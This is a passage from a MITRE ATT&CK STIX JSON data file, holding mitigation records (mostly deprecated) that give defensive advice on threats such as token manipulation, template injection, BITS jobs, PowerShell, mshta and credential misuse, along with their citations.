compromised.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1134","external_id":"T1134"},{"source_name":"Microsoft Create Token","description":"Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.","url":"https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object"},{"source_name":"Microsoft Replace Process Token","description":"Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.","url":"https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token"}],"modified":"2019-07-24T14:29:27.367Z","name":"Access Token Manipulation Mitigation","description":"Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1082","url":"https://attack.mitre.org/mitigations/T1082","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:24.235Z","name":"System Information Discovery Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c7e49501-6021-414f-bfa1-94519d8ec314","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1221","external_id":"T1221"},{"url":"https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6","description":"Microsoft. (n.d.). Enable or disable macros in Office files. Retrieved September 13, 2018.","source_name":"Microsoft Disable Macros"},{"source_name":"Anomali Template Injection MAR 2018","description":"Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.","url":"https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104"}],"modified":"2019-07-25T12:27:19.577Z","name":"Template Injection Mitigation","description":"Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c861bcb1-946f-450d-ab75-d4e3c1103a56","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1194","external_id":"T1194"}],"modified":"2019-07-25T12:00:12.285Z","name":"Spearphishing via Service Mitigation","description":"Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.\n\nBecause this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c88151a5-fe3f-4773-8147-d801587065a4","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1017","external_id":"T1017"}],"modified":"2019-07-24T14:05:33.227Z","name":"Application Deployment Software Mitigation","description":"Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1045","url":"https://attack.mitre.org/mitigations/T1045","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:24.233Z","name":"Software Packing Mitigation","description":"Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--cb825b86-3f3b-4686-ba99-44878f5d3173","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1197","external_id":"T1197"},{"source_name":"Mondok Windows PiggyBack BITS May 2007","description":"Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background Intelligent Transfer Service. Retrieved January 12, 2018.","url":"https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/"},{"source_name":"Symantec BITS May 2007","description":"Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.","url":"https://www.symantec.com/connect/blogs/malware-update-windows-update"},{"source_name":"Microsoft BITS","description":"Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx"}],"modified":"2019-07-24T14:08:16.317Z","name":"BITS Jobs Mitigation","description":"This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)\n\nModify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.\n\nConsider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)\n\nConsider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS. (Citation: Microsoft BITS)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--cba5667e-e3c6-44a4-811c-266dbc00e440","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1181","url":"https://attack.mitre.org/mitigations/T1181","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:19.367Z","name":"Extra Window Memory Injection Mitigation","description":"This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-17T18:53:08.707Z","name":"Audit","description":"Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","type":"course-of-action","id":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","created":"2019-06-11T17:06:14.029Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1047","external_id":"M1047"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--cdecc44a-1dbf-4c1f-881c-f21e3f47272a","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1105","external_id":"T1105"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-25T11:33:35.477Z","name":"Remote File Copy Mitigation","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1138","external_id":"T1138"}],"modified":"2019-07-24T14:32:52.325Z","name":"Application Shimming Mitigation","description":"There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1129","external_id":"T1129"}],"modified":"2019-07-24T19:18:25.859Z","name":"Execution through Module Load Mitigation","description":"Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--d01f473f-3cdc-4867-9e55-1de9cf1986f0","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1140","url":"https://attack.mitre.org/mitigations/T1140","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.686Z","name":"Deobfuscate/Decode Files or Information Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--d0415180-51e9-40ce-b57c-c332b0b441f2","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1086","external_id":"T1086"},{"url":"https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/","description":"Sutherland, S. (2014, September 9). 15 Ways to Bypass the PowerShell Execution Policy. Retrieved July 23, 2015.","source_name":"Netspi PowerShell Execution Policy Bypass"}],"modified":"2019-07-25T11:26:37.066Z","name":"PowerShell Mitigation","description":"It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1001","external_id":"T1001"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-24T14:28:48.363Z","name":"Data Obfuscation Mitigation","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1046","url":"https://attack.mitre.org/mitigations/T1046","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:19.750Z","name":"Network Service Scanning Mitigation","description":"Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3","type":"course-of-action","created":"2019-06-11T17:10:57.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1050","url":"https://attack.mitre.org/mitigations/M1050"}],"modified":"2020-06-20T20:22:55.938Z","name":"Exploit Protection","description":"Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1170","url":"https://attack.mitre.org/mitigations/T1170","source_name":"mitre-attack"}],"modified":"2019-07-25T11:14:01.112Z","name":"Mshta Mitigation","description":"Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1078","external_id":"T1078"},{"source_name":"Microsoft Securing Privileged Access","description":"Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.","url":"https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach"},{"source_name":"TechNet Credential Theft","description":"Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn535501.aspx"},{"source_name":"TechNet Least Privilege","description":"Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn487450.aspx"},{"description":"US-CERT. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA13-175A","source_name":"US-CERT Alert TA13-175A Risks of Default Passwords on the Internet"}],"modified":"2021-04-05T19:21:28.924Z","name":"Valid Accounts Mitigation","description":"Take measures to detect or prevent techniques such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. \n\nFollow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access) \n\nAudit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. \n\nApplications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured. 